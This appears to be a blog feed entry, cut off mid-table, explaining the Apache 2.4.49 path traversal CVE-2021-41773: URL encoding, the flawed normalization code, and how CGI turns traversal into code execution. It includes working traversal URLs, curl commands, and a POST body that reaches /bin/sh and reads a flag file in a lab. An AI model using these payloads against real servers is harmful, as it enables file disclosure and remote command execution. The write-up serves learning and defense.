<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="3.10.0">Jekyll</generator><link href="https://cve.dream-wa1ker.tech/feed.xml" rel="self" type="application/atom+xml" /><link href="https://cve.dream-wa1ker.tech/" rel="alternate" type="text/html" /><updated>2026-10-29T11:26:55+00:00</updated><id>https://cve.dream-wa1ker.tech/feed.xml</id><title type="html">dream-wa1ker::cves</title><subtitle>CVE writeups from the wa1kerverse: root cause analysis, lab reproduction and patch diffs. Hand written.</subtitle><author><name>dream-wa1ker</name></author><entry><title type="html">Exploiting the path traversal vulnerability in Apache 2.4.49</title><link href="https://cve.dream-wa1ker.tech/cve-2021-41773-apache/" rel="alternate" type="text/html" title="Exploiting the path traversal vulnerability in Apache 2.4.49" /><published>2026-09-29T00:00:00+00:00</published><updated>2026-09-29T00:00:00+00:00</updated><id>https://cve.dream-wa1ker.tech/cve-2021-41773-apache</id><content type="html" xml:base="https://cve.dream-wa1ker.tech/cve-2021-41773-apache/"><![CDATA[<section>

  <h2 class="section-label" id="the-introduction">The Introduction</h2>

  <div class="description">

    <p>CVE-2021-41773 is a path traversal vulnerability affecting Apache HTTP Server 2.4.49. The vulnerability was introduced by a change to Apache’s path normalization logic and allows specially crafted URL paths to bypass restrictions on directory traversal. Under certain configurations, this can allow an attacker to access files outside the server’s intended document root and, when CGI is enabled for the affected paths, potentially achieve remote code execution.</p>

    <p>The vulnerability is interesting because it is not simply a case of Apache accepting a straightforward <code class="language-plaintext highlighter-rouge">../</code> path. The bug involves a miss between <strong>URL encoded characters, it’s decoding, and normalization</strong>. Characters such as <code class="language-plaintext highlighter-rouge">.</code> and <code class="language-plaintext highlighter-rouge">/</code> can be represented in a URL using percent encoding, such as <code class="language-plaintext highlighter-rouge">%2e</code> and <code class="language-plaintext highlighter-rouge">%2f</code>. Apache’s vulnerable implementation did not correctly handle certain encoded representations of the parent-directory sequence <code class="language-plaintext highlighter-rouge">..</code>, allowing traversal sequences to evade normalization checks. FYI, we use <code class="language-plaintext highlighter-rouge">%20</code> for encoding space. We shall be looking into the original source code later, after we understand the implementations of this vulnerability.</p>

    <p>For example, while a conventional traversal sequence looks like:</p>

    <div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>../
</code></pre></div>    </div>

    <p>a specially encoded representation such as:</p>

    <div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>.%2e/
</code></pre></div>    </div>

    <p>can initially appear different to the normalization logic. After decoding, however, <code class="language-plaintext highlighter-rouge">%2e</code> becomes <code class="language-plaintext highlighter-rouge">.</code>, causing the sequence to effectively become:</p>

    <div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>../
</code></pre></div>    </div>

    <p>This difference between the representation checked by security logic and the representation ultimately used for filesystem resolution is the central concept behind the vulnerability.</p>

    <p>This write-up examines CVE-2021-41773 from both a practical and source-code perspective. It first introduces URL encoding, decoding, path normalization, and directory traversal; then examines the vulnerable Apache implementation; builds an intentionally vulnerable Apache 2.4.49 environment using Docker; reproduces the vulnerability in an isolated laboratory; and finally connects the observed behavior to the underlying C code.</p>

    <p>The objective is to understand not only <strong>what can be exploited</strong>, but <strong>why the vulnerability exists and how the vulnerable code processes the malicious path</strong>. Peeking into the source code gives us the amount of processing power to understand the vuln better.</p>

  </div>
</section>

<section>

  <h2 class="section-label" id="understanding-normalization-encoding-and-decoding">Understanding Normalization, Encoding and Decoding</h2>

  <div class="description">

    <p>Before looking at the vulnerability itself, it is important to understand what an HTTP server actually receives when a client requests a URL. A URL path is not always made up of the literal characters that will eventually be used to locate a resource on the filesystem. URLs have an encoding mechanism called <strong>percent encoding</strong>, or called as the URL encoding, which makes URL safe to provide in browser or any user agent, which allows characters to be represented using a <code class="language-plaintext highlighter-rouge">%</code> followed by two hexadecimal digits. The value represented by those two hexadecimal digits is the byte value of the encoded character. For example:</p>

    <table>
      <thead>
        <tr>
          <th>Percent-encoded</th>
          <th>Decoded character</th>
        </tr>
      </thead>
      <tbody>
        <tr>
          <td>%2E</td>
          <td>.</td>
        </tr>
        <tr>
          <td>%2e</td>
          <td>.</td>
        </tr>
        <tr>
          <td>%2F</td>
          <td>/</td>
        </tr>
        <tr>
          <td>%2f</td>
          <td>/</td>
        </tr>
        <tr>
          <td>%20</td>
          <td>space</td>
        </tr>
      </tbody>
    </table>

    <p>The hexadecimal letters are case-insensitive, so <code class="language-plaintext highlighter-rouge">%2E</code> and <code class="language-plaintext highlighter-rouge">%2e</code> have exactly the same meaning. Percent encoding exists because some characters have special meaning within a URL. <code class="language-plaintext highlighter-rouge">/</code>, for example, separates path components, while characters such as <code class="language-plaintext highlighter-rouge">?</code> and <code class="language-plaintext highlighter-rouge">#</code> have special meaning to the URL syntax. Percent encoding allows a character to be represented without necessarily being interpreted as its syntactic meaning at that particular stage of URL processing. RFC 3986 defines percent encoding and identifies <code class="language-plaintext highlighter-rouge">.</code> as an unreserved character, meaning that an encoded form such as <code class="language-plaintext highlighter-rouge">%2E</code> is equivalent to the literal character <code class="language-plaintext highlighter-rouge">.</code> for URI normalization purposes.</p>

    <p>This gives us an important distinction between a character’s <strong>encoded representation</strong> and its <strong>decoded representation</strong>. Consider:</p>

    <div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>.%2e/
</code></pre></div>    </div>

    <p>The first <code class="language-plaintext highlighter-rouge">.</code> is already a literal character, while <code class="language-plaintext highlighter-rouge">%2e</code> is an encoded representation of another <code class="language-plaintext highlighter-rouge">.</code>. Once the encoded value is decoded, the sequence becomes:</p>

    <div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>.%2e/
   ↓
../
</code></pre></div>    </div>

    <p>Likewise:</p>

    <div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>%2e%2e/
</code></pre></div>    </div>

    <p>becomes:</p>

    <div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>../
</code></pre></div>    </div>

    <p>The two strings therefore have the same eventual character representation, but they do not have the same representation while the URL is still being processed.</p>

    <p>The literals <code class="language-plaintext highlighter-rouge">.</code> and <code class="language-plaintext highlighter-rouge">..</code> have a special meaning in hierarchical paths. A single dot represents the current path component, while two dots represent the parent path component. RFC 3986 calls these <strong>dot-segments</strong>. They are not ordinary filenames or directory names in the context of path resolution; they are instructions for moving within the path hierarchy. It should familiar for people who use terminal a lot.</p>

    <p>This is because, any web server is just a machine which serves one of it’s directory tree in the filesystem to the public facing internet, the OS fundamentals still remain the same.</p>

    <p>For example, imagine that a server has the following directory structure:</p>

    <div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/var/www/html/
├── images/
│   └── cat.jpg
└── secret/
    └── flag.txt
</code></pre></div>    </div>

    <p>A path such as:</p>

    <div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/var/www/html/images/cat.jpg
</code></pre></div>    </div>

    <p>refers to the file directly.</p>

    <p>However:</p>

    <div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/var/www/html/images/../secret/flag.txt
</code></pre></div>    </div>

    <p>contains the parent-directory component:</p>

    <div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>..
</code></pre></div>    </div>

    <p>which means “go up one directory.” Therefore:</p>

    <div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/var/www/html/images/../secret/flag.txt
</code></pre></div>    </div>

    <p>resolves to:</p>

    <div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/var/www/html/secret/flag.txt
</code></pre></div>    </div>

    <p>This process of interpreting <code class="language-plaintext highlighter-rouge">.</code> and <code class="language-plaintext highlighter-rouge">..</code> and reducing them to their effective path is known as <strong>path normalization</strong>, or more specifically, <strong>dot-segment removal</strong> in URI terminology. RFC 3986 specifies that complete <code class="language-plaintext highlighter-rouge">.</code> and <code class="language-plaintext highlighter-rouge">..</code> path segments are removed during path resolution. For example:</p>

    <div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/a/b/../c
</code></pre></div>    </div>

    <p>becomes:</p>

    <div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/a/c
</code></pre></div>    </div>

    <p>and:</p>

    <div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/a/./b
</code></pre></div>    </div>

    <p>becomes:</p>

    <div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/a/b
</code></pre></div>    </div>

    <p>The important word here is <strong>complete</strong>. The sequence <code class="language-plaintext highlighter-rouge">..</code> is special when it is a complete path segment, such as:</p>

    <div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/a/b/../c
</code></pre></div>    </div>

    <p>but not when it is simply part of another filename or path segment:</p>

    <div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/a/..hidden/c
</code></pre></div>    </div>

    <p>RFC 3986 explicitly distinguishes dot-segments from ordinary path segments.</p>

    <p>A web server therefore has to perform several conceptually separate operations when handling a request. At a simplified level, the server has to take the path supplied by the client, interpret its URL representation, normalize it, and eventually map it to a resource. Conceptually, the process looks like:</p>

    <p><img src="/assets/blogs/cve-1/cve-2021-47731-resolution.png" alt="process" width="98%" /></p>

    <p>The security requirement is that these stages must agree about <strong>what path is being requested</strong>. If one stage makes an access-control or traversal decision using one representation of the path, while a later stage interprets that same path differently, the server can end up securing one representation while accessing another. (And this is what happened in this CVE)</p>

    <p>I.e, the fundamental class of problem behind CVE-2021-41773.</p>

    <p>In a correct implementation, a request containing a traversal component should not be able to hide that traversal simply by representing one of its characters differently. Consider:</p>

    <div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/images/../secret/flag.txt
</code></pre></div>    </div>

    <p>The traversal is obvious because the two dots are literal.</p>

    <p>Now consider an encoded representation:</p>

    <div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/images/%2e%2e/secret/flag.txt
</code></pre></div>    </div>

    <p>At the raw URL level, the server sees:</p>

    <div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>%2e%2e
</code></pre></div>    </div>

    <p>but the encoded characters represent:</p>

    <div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>..
</code></pre></div>    </div>

    <p>and therefore the resulting path has the same traversal meaning.</p>

    <p>The same idea applies to:</p>

    <div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/images/.%2e/secret/flag.txt
</code></pre></div>    </div>

    <p>The security-sensitive part is therefore not merely “does the original request contain two literal dots?” The server needs to ensure that <strong>encoded representations which become dot-segments are treated consistently with their literal equivalents</strong>.</p>

    <p>This is where Apache HTTP Server 2.4.49 introduced the problem. Apache made changes to its path normalization logic in that release. The vulnerable implementation attempted to decode URL-encoded characters while it was simultaneously performing path normalization. As a result, certain encoded representations could pass the traversal check in an intermediate form and only subsequently become the equivalent of a <code class="language-plaintext highlighter-rouge">..</code> path component. Rapid7’s analysis describes the vulnerability as mishandling URL-encoded path traversal characters and explains that Apache was attempting to detect traversal before all relevant characters had been decoded.</p>

    <p>It is important to phrase this precisely. The vulnerability is <strong>not simply that Apache forgot to decode <code class="language-plaintext highlighter-rouge">%2e</code></strong>. Apache was deliberately decoding certain percent-encoded characters as part of its normalization process. The problem was that decoding and traversal recognition were not performed in a way that guaranteed that a newly formed <code class="language-plaintext highlighter-rouge">..</code> component would be recognized as such. The exact reason this happened is an implementation detail of <code class="language-plaintext highlighter-rouge">ap_normalize_path()</code>, which will be examined in the next section.</p>

    <p>The distinction can be visualized without looking at the C implementation:</p>

    <p><img src="/assets/blogs/cve-1/cve-2021-47731-normalisation-comparision.png " alt="normalisation-comp" width="98%" /></p>

    <p>The vulnerability occurs when the server’s normalization logic fails to account for the second case at the right point in processing.</p>

    <p>This is also why the word <strong>canonicalization</strong> sometimes appears in discussions of this vulnerability. Canonicalization means reducing multiple representations of the same logical resource to a consistent representation before making a security decision. For example, these paths may have equivalent filesystem meaning:</p>

    <div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/var/www/html/images/../secret.txt

/var/www/html/./images/../secret.txt

/var/www/html/secret.txt
</code></pre></div>    </div>

    <p>A secure server should make its authorization and routing decisions based on the final effective path rather than allowing multiple syntactic representations to produce different security decisions.</p>

    <p>CVE-2021-41773 demonstrates what can happen when that principle is violated: the server’s security-relevant path processing can be bypassed using a representation that is semantically equivalent to traversal but is not recognized as traversal at the moment the relevant check occurs.</p>

    <p>There is another complication when testing this vulnerability: <strong>the client itself may normalize the URL before Apache ever receives it</strong>.</p>

    <blockquote>
      <p>Yes, remember that the client itself can normalise the path. (This was a question provided in my CTF challenge, only to know that I was correct all along, and the normalization was performed by curl - so, I was actually requesting for <code class="language-plaintext highlighter-rouge">../</code> instead of <code class="language-plaintext highlighter-rouge">%2e%2e/</code>)</p>
    </blockquote>

    <p>As said earlier - this is important with <code class="language-plaintext highlighter-rouge">curl</code>.</p>

    <p>Suppose you try:</p>

    <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl <span class="s1">'http://127.0.0.1:8080/icons/../conf/httpd.conf'</span>
</code></pre></div>    </div>

    <p>You might think you are testing Apache’s handling of:</p>

    <div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/icons/../conf/httpd.conf
</code></pre></div>    </div>

    <p>but curl normally performs its own path normalization. Curl’s documentation states that it normally squashes or merges <code class="language-plaintext highlighter-rouge">/../</code> and <code class="language-plaintext highlighter-rouge">/./</code> sequences in the URL path. The <code class="language-plaintext highlighter-rouge">--path-as-is</code> option exists specifically to prevent curl from doing that.</p>

    <p>Therefore, when testing a path-normalization vulnerability, the following is important:</p>

    <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl <span class="nt">--path-as-is</span> <span class="se">\</span>
    <span class="s1">'http://127.0.0.1:8080/icons/../conf/httpd.conf'</span>
</code></pre></div>    </div>

    <p>The <code class="language-plaintext highlighter-rouge">--path-as-is</code> option tells curl:</p>

    <blockquote>
      <p>send the path as provided instead of applying curl’s usual dot-segment normalization.</p>
    </blockquote>

    <p>This gives us a much more reliable experiment because the client is no longer silently changing the request before it reaches Apache.
This does not mean that <code class="language-plaintext highlighter-rouge">--path-as-is</code> disables percent decoding on the server. It only prevents curl from performing its own <code class="language-plaintext highlighter-rouge">/../</code> and <code class="language-plaintext highlighter-rouge">/./</code> path normalization before sending the request. Apache still receives the URL and performs its own processing.</p>

    <p>Browsers introduce another layer of complexity. Modern browsers <strong>implement URL parsing and normalization</strong> according to the web platform’s URL rules. The current WHATWG URL specification explicitly defines both a single-dot URL path segment and a double-dot URL path segment, including encoded representations such as <code class="language-plaintext highlighter-rouge">%2e</code> and <code class="language-plaintext highlighter-rouge">%2e%2e</code>. The specification’s path-state processing can therefore interpret encoded dot-segments during URL parsing itself.</p>

  </div>
</section>

<section>

  <h2 class="section-label" id="code-analysis">Code Analysis</h2>

  <div class="description">

    <p><strong>The code (2.4.49, <code class="language-plaintext highlighter-rouge">ap_normalize_path()</code> in <code class="language-plaintext highlighter-rouge">server/util.c</code>)</strong></p>

    <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cm">/* 1. decode */</span>
<span class="k">if</span> <span class="p">((</span><span class="n">flags</span> <span class="o">&amp;</span> <span class="n">AP_NORMALIZE_DECODE_UNRESERVED</span><span class="p">)</span>
        <span class="o">&amp;&amp;</span> <span class="n">path</span><span class="p">[</span><span class="n">l</span><span class="p">]</span> <span class="o">==</span> <span class="sc">'%'</span> <span class="o">&amp;&amp;</span> <span class="n">apr_isxdigit</span><span class="p">(</span><span class="n">path</span><span class="p">[</span><span class="n">l</span> <span class="o">+</span> <span class="mi">1</span><span class="p">])</span>
                          <span class="o">&amp;&amp;</span> <span class="n">apr_isxdigit</span><span class="p">(</span><span class="n">path</span><span class="p">[</span><span class="n">l</span> <span class="o">+</span> <span class="mi">2</span><span class="p">]))</span> <span class="p">{</span>
    <span class="k">const</span> <span class="kt">char</span> <span class="n">c</span> <span class="o">=</span> <span class="n">x2c</span><span class="p">(</span><span class="o">&amp;</span><span class="n">path</span><span class="p">[</span><span class="n">l</span> <span class="o">+</span> <span class="mi">1</span><span class="p">]);</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">apr_isalnum</span><span class="p">(</span><span class="n">c</span><span class="p">)</span> <span class="o">||</span> <span class="p">(</span><span class="n">c</span> <span class="o">&amp;&amp;</span> <span class="n">strchr</span><span class="p">(</span><span class="s">"-._~"</span><span class="p">,</span> <span class="n">c</span><span class="p">)))</span> <span class="p">{</span>
        <span class="n">l</span> <span class="o">+=</span> <span class="mi">2</span><span class="p">;</span>
        <span class="n">path</span><span class="p">[</span><span class="n">l</span><span class="p">]</span> <span class="o">=</span> <span class="n">c</span><span class="p">;</span>          <span class="cm">/* decoded in place */</span>
    <span class="p">}</span>
<span class="p">}</span>

<span class="cm">/* 2. dot-segment check, only at the start of a component */</span>
<span class="k">if</span> <span class="p">(</span><span class="n">w</span> <span class="o">==</span> <span class="mi">0</span> <span class="o">||</span> <span class="n">IS_SLASH</span><span class="p">(</span><span class="n">path</span><span class="p">[</span><span class="n">w</span> <span class="o">-</span> <span class="mi">1</span><span class="p">]))</span> <span class="p">{</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">path</span><span class="p">[</span><span class="n">l</span><span class="p">]</span> <span class="o">==</span> <span class="sc">'.'</span><span class="p">)</span> <span class="p">{</span>
        <span class="p">...</span>
        <span class="k">if</span> <span class="p">(</span><span class="n">path</span><span class="p">[</span><span class="n">l</span> <span class="o">+</span> <span class="mi">1</span><span class="p">]</span> <span class="o">==</span> <span class="sc">'.'</span> <span class="o">&amp;&amp;</span>                 <span class="cm">/* &lt;-- the flaw */</span>
            <span class="n">IS_SLASH_OR_NUL</span><span class="p">(</span><span class="n">path</span><span class="p">[</span><span class="n">l</span> <span class="o">+</span> <span class="mi">2</span><span class="p">]))</span> <span class="p">{</span>
            <span class="cm">/* remove previous component */</span>
        <span class="p">}</span>
    <span class="p">}</span>
<span class="p">}</span>
</code></pre></div>    </div>

    <p>Alright, Wait a min, something’s ain’t right…</p>

    <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">path</span><span class="p">[</span><span class="n">l</span> <span class="o">+</span> <span class="mi">1</span><span class="p">]</span> <span class="o">==</span> <span class="sc">'.'</span>
</code></pre></div>    </div>

    <p>This compares the next byte against a <strong>literal</strong> <code class="language-plaintext highlighter-rouge">.</code> only. It never considers that the byte could be the start of <code class="language-plaintext highlighter-rouge">%2e</code>.</p>

    <p><strong>Why it breaks, for <code class="language-plaintext highlighter-rouge">.%2e/</code></strong></p>

    <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">path</span><span class="p">[</span><span class="n">l</span> <span class="o">+</span> <span class="mi">1</span><span class="p">]</span> <span class="o">==</span> <span class="sc">'.'</span>
</code></pre></div>    </div>

    <ol>
      <li>
        <p>Loop reaches the first <code class="language-plaintext highlighter-rouge">.</code> at a component start. The check tests ,but that byte is <code class="language-plaintext highlighter-rouge">%</code>, so it fails. Apache treats <code class="language-plaintext highlighter-rouge">.</code> as an ordinary character and copies it to the output (<code class="language-plaintext highlighter-rouge">w</code> and <code class="language-plaintext highlighter-rouge">l</code> advance).</p>
      </li>
      <li>
        <p>Next iteration hits <code class="language-plaintext highlighter-rouge">%2e</code>. The decode block turns it into <code class="language-plaintext highlighter-rouge">.</code>.</p>
      </li>
      <li>
        <p>Now <code class="language-plaintext highlighter-rouge">w</code> points <em>mid-segment</em> (the previous output byte is <code class="language-plaintext highlighter-rouge">.</code>, not a slash), so the <code class="language-plaintext highlighter-rouge">IS_SLASH(path[w - 1])</code> gate is false and the dot-segment check <strong>doesn’t run at all</strong> for this character.</p>
      </li>
      <li>
        <p>The <code class="language-plaintext highlighter-rouge">.</code> is copied through. The output holds <code class="language-plaintext highlighter-rouge">../</code>, which was never reduced.</p>
      </li>
    </ol>

    <p>The check ran once, before the decode, and the decode created the <code class="language-plaintext highlighter-rouge">..</code> afterward. The decision was made on the un-decoded form, but the filesystem sees the decoded form.</p>

    <p><code class="language-plaintext highlighter-rouge">%2e%2e/</code> fails the same way: at the component start, <code class="language-plaintext highlighter-rouge">path[l]</code> is <code class="language-plaintext highlighter-rouge">%</code>, not <code class="language-plaintext highlighter-rouge">.</code>, so the check never even begins.</p>

    <h3 id="why-path-traversal-became-remote-code-execution">Why Path Traversal Became Remote Code Execution</h3>

    <p>This is the most important conceptual question about this CVE. The answer is a <strong>chain</strong> — path traversal alone never gives RCE. It takes the traversal bug <em>plus</em> three other pre-existing conditions stacking together. So, after people found out about this bug, they tried exploiting pre existing combinations, which the cgi allowed code execution. By accessing a cgi binary through traversal, the attacker will be able to craft the URL such to execute code.</p>

    <h4 id="step-0---what-path-traversal-enables-for-average-user">Step 0 - What path traversal enables for average user</h4>

    <p>By itself, the normalization decode bug gives you <strong>arbitrary file read</strong>. That’s it. It means that the system files are exposed.</p>

    <ul>
      <li><code class="language-plaintext highlighter-rouge">/etc/passwd</code></li>
      <li><code class="language-plaintext highlighter-rouge">/secrets/flag.txt</code></li>
      <li>Config files, SSH keys, anything the <code class="language-plaintext highlighter-rouge">daemon</code> user can read. (<code class="language-plaintext highlighter-rouge">daemon</code> is the username of the user in our Docker environment - later)</li>
    </ul>

    <p>But <em>reading</em> a file is not <em>executing</em> it. Reading <code class="language-plaintext highlighter-rouge">/bin/sh</code> just dumps binary garbage to your terminal. The CVE stops at file disclosure unless something else is present, that enables the arbitrary attacker to execute the code, which in this case is cgi_bin.</p>

    <h4 id="step-1---what-cgi-is">Step 1 - What CGI Is?</h4>

    <p>CGI stands for <strong>Common Gateway Interface</strong>. It is a protocol from 1993 that defines how a web server can <strong>execute a program</strong> and use that program’s output as the HTTP response.</p>

    <p>Before CGI, web servers could only serve <strong>static files</strong> — HTML, images. CGI was the mechanism invented to make web servers <strong>dynamic</strong> — able to run scripts that generate content on the fly.</p>

    <p>The model is extremely simple, elegant and at the same time, it was extremely prone to attack. When Apache handles a CGI request, it does the following:</p>

    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>HTTP Request  ─────────────────────────────► Apache
                                                │
                              ┌─────────────────▼──────────────────┐
                              │  fork() → new child process         │
                              │  exec(resolved_file_path)           │
                              │                                     │
                              │  HTTP headers → env variables       │
                              │  POST body   → stdin of process     │
                              │  stdout      → HTTP response body   │
                              └─────────────────────────────────────┘
</code></pre></div>    </div>

    <p>These are the mappings for the request body :</p>

    <table>
      <thead>
        <tr>
          <th>HTTP content</th>
          <th>Role</th>
        </tr>
      </thead>
      <tbody>
        <tr>
          <td><code class="language-plaintext highlighter-rouge">POST</code> body</td>
          <td>Pipes it directly into the program’s <code class="language-plaintext highlighter-rouge">stdin</code></td>
        </tr>
        <tr>
          <td>Request headers, method, query string</td>
          <td>Converts to <strong>environment variables</strong> (<code class="language-plaintext highlighter-rouge">REQUEST_METHOD</code>, <code class="language-plaintext highlighter-rouge">QUERY_STRING</code>, etc.)</td>
        </tr>
        <tr>
          <td>Program’s <code class="language-plaintext highlighter-rouge">stdout</code></td>
          <td>Sends it back as the HTTP response body</td>
        </tr>
      </tbody>
    </table>

    <p>This is why our <code class="language-plaintext highlighter-rouge">hello.cgi</code> starts with:</p>
    <div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">printf</span> <span class="s2">"Content-Type: text/plain</span><span class="se">\n\n</span><span class="s2">"</span>
</code></pre></div>    </div>
    <p>That line goes to <code class="language-plaintext highlighter-rouge">stdout</code>, which becomes the HTTP response. The <code class="language-plaintext highlighter-rouge">Content-Type</code> header is required — if you don’t print it, Apache returns a 500 error because it doesn’t know what MIME type to serve.</p>

    <h4 id="step-2---how-apache-decides-whether-to-execute-or-not">Step 2 - How Apache Decides whether to execute or not</h4>

    <p>Apache has two completely different handlers for files:</p>

    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Default handler:    Read the file from disk → send bytes as HTTP response
mod_cgi handler:    Execute the file as a process → send its stdout as HTTP response
</code></pre></div>    </div>

    <p>The decision of <strong>which handler to use</strong> is made based on the <strong>URL path</strong>, using the <code class="language-plaintext highlighter-rouge">ScriptAlias</code> directive:</p>

    <div class="language-apache highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nc">ScriptAlias</span> /cgi-bin/ "/opt/httpd/cgi-bin/"
</code></pre></div>    </div>

    <p>This tells Apache: <em>any URL that starts with <code class="language-plaintext highlighter-rouge">/cgi-bin/</code> — assign the mod_cgi handler to that request.</em></p>

    <p><strong>There is a critical timing</strong>: this handler assignment happens <strong>before</strong> the URL is fully decoded and resolved to a filesystem path. Apache looks at the incoming URL, sees it starts with <code class="language-plaintext highlighter-rouge">/cgi-bin/</code>, and brands the request as executable content, and this is what is exploited by the heckers as RCE.</p>

    <h4 id="step-3---the-normalization-bug-recap">Step 3 - The Normalization Bug Recap</h4>

    <p>Apache’s request processing pipeline has these stages, in order:</p>

    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>1. Receive raw URL from client
2. Assign handler based on URL prefix        ← ScriptAlias check happens here
3. Check access controls (&lt;Directory&gt; blocks) ← Require all granted check here
4. Decode percent-encoding (%2e → .)
5. Normalize the path (resolve ../ segments)
6. Map to filesystem path
7. Handler executes (serve OR run)
</code></pre></div>    </div>

    <p>The bug: steps 3 and 2 both operate on the <strong>encoded</strong> URL. Step 4–5 (decoding) happens <strong>after</strong> those security checks. So:</p>

    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Encoded URL:   /cgi-bin/.%2e/.%2e/.%2e/bin/sh

Step 2 sees:   starts with /cgi-bin/  → assign mod_cgi handler  : Done
Step 3 sees:   looks like it's under /cgi-bin/ → access granted  : Done

Step 4 decodes:   %2e → .
Step 5 normalizes: /cgi-bin/../../../bin/sh → /bin/sh

Step 6 maps to filesystem:  /bin/sh

Step 7: mod_cgi handler was already assigned → EXECUTE /bin/sh
</code></pre></div>    </div>

    <p>The security gate was checked against the <em>fake</em> path. The execution happens on the <em>real</em> resolved path.</p>

    <h4 id="step-4---why-binsh-via-modcgi-is-a-shell">Step 4 - Why <code class="language-plaintext highlighter-rouge">/bin/sh</code> via mod_cgi Is a Shell</h4>

    <ul>
      <li><code class="language-plaintext highlighter-rouge">/bin/sh</code> is the system shell. Its normal behavior when you run it with no arguments:</li>
    </ul>

    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/bin/sh reads commands from stdin → executes them → prints output to stdout
</code></pre></div>    </div>

    <ul>
      <li>CGI pipes POST body to stdin. But the POST body is attacker-controlled. Therefore:</li>
    </ul>

    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Attacker's POST body → stdin → /bin/sh → executes attacker commands → stdout → HTTP response
</code></pre></div>    </div>

    <ul>
      <li>This is not a creative exploit trick — this is just <code class="language-plaintext highlighter-rouge">/bin/sh</code>’s completely normal, designed behavior being reached through an unintended path.</li>
    </ul>

    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>POST body: "echo Content-Type: text/plain; echo; id; cat /secrets/flag.txt"
</code></pre></div>    </div>

    <ul>
      <li><code class="language-plaintext highlighter-rouge">/bin/sh</code> receives this on stdin, executes it line by line. Output goes to stdout. Apache’s mod_cgi sends stdout back as the HTTP response. You receive the flag.</li>
    </ul>

    <h4 id="step-5---visualisation-of-the-full-chain">Step 5 - Visualisation of the full chain.</h4>

    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>                        ┌─────────────────────────────────────────────┐
                        │                                             │
 Attacker sends:        │  POST /cgi-bin/.%2e/.%2e/.%2e/bin/sh       │
                        │  Body: echo Content-Type: text/plain;       │
                        │        echo; id; cat /secrets/flag.txt      │
                        │                                             │
                        └───────────────────┬─────────────────────────┘
                                            │
                                            ▼
                    ┌───────────────────────────────────────┐
                    │ Stage 1: Handler Assignment            │
                    │                                       │
                    │ URL starts with /cgi-bin/             │
                    │ → mod_cgi handler assigned            │
                    │ (path not yet decoded)                │
                    └───────────────────┬───────────────────┘
                                        │
                                        ▼
                    ┌───────────────────────────────────────┐
                    │ Stage 2: Access Control Check         │
                    │                                       │
                    │ Encoded path: /cgi-bin/.%2e/...       │
                    │ Looks like it's inside /cgi-bin/      │
                    │ Require all granted → PASS            │
                    │ (THE BUG: checked before decode)      │
                    └───────────────────┬───────────────────┘
                                        │
                                        ▼
                    ┌───────────────────────────────────────┐
                    │ Stage 3: Decode + Normalize           │
                    │                                       │
                    │ %2e → .                               │
                    │ /cgi-bin/../../../bin/sh              │
                    │ resolves to → /bin/sh                 │
                    └───────────────────┬───────────────────┘
                                        │
                                        ▼
                    ┌───────────────────────────────────────┐
                    │ Stage 4: mod_cgi Executes             │
                    │                                       │
                    │ fork() + exec("/bin/sh")              │
                    │ POST body → /bin/sh stdin             │
                    │ /bin/sh executes attacker commands    │
                    │ stdout → HTTP response                │
                    └───────────────────┬───────────────────┘
                                        │
                                        ▼
                        ┌───────────────────────────┐
                        │ HTTP 200 OK               │
                        │                           │
                        │ uid=1(daemon)...          │
                        │ editaCTF{c0ngr4t...}      │
                        └───────────────────────────┘
</code></pre></div>    </div>

    <h4 id="step-6---what-are-those-combinations-that-caused-rce">Step 6 - What are those combinations that caused RCE</h4>

    <p>Remove any single one of these, and RCE is impossible:
So, after this section, we have the from scratch setup of the vulnerable lab with all these capabilities enabled.</p>

    <table>
      <thead>
        <tr>
          <th>Ingredient</th>
          <th>If removed</th>
        </tr>
      </thead>
      <tbody>
        <tr>
